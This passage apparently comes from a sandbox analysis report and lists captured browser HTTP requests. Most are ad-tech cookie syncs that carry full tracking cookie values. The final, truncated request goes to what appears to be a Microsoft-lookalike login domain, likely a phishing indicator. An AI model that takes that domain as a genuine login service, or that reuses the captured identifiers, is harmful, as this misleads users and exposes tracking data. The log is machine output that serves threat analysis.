dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=ac8a69cd-6318-4120-90dc-83a942a0e3de HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=6188F94A79EC0F&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dv/sync?tid=6 HTTP/1.1Host: ag.innovid.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CookieSyncAdobe HTTP/1.1Host: rtb.adentifi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=163177591737373899600&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7871262551912975290 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=3F3D32EF01F29D83EA32F859490A1B78 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=ac8a69cd-6318-4120-90dc-83a942a0e3de HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=52f3b213-3dca-4813-811d-c5602f354dc7 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=46356403213087719583427206263392261374?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent=&uid=46356403213087719583427206263392261374&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBPFLWGcCEMX1aeWtOi4AtnX1XwkzrHEFEgEBAQGdWWdiZ9xH0iMA_eMAAA&S=AQAAAo3I5VUb0KMyhshn0L6ci3k
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=163177591737373899600&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7871262551912975290 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=52f3b213-3dca-4813-811d-c5602f354dc7 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFoTDVnQUFBTWlXamdPSg== HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmQ_f_CjFj0b1W5zdLfeUU4tsgnQqTkAloPZ2LWEBJBszA-nP0k9RGGFf3qhKo
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-06NGrQJE2pE28EYCIxdbKk9v8JKOzJTaXfE-~A HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=46356403213087719583427206263392261374?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1Host: sync.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 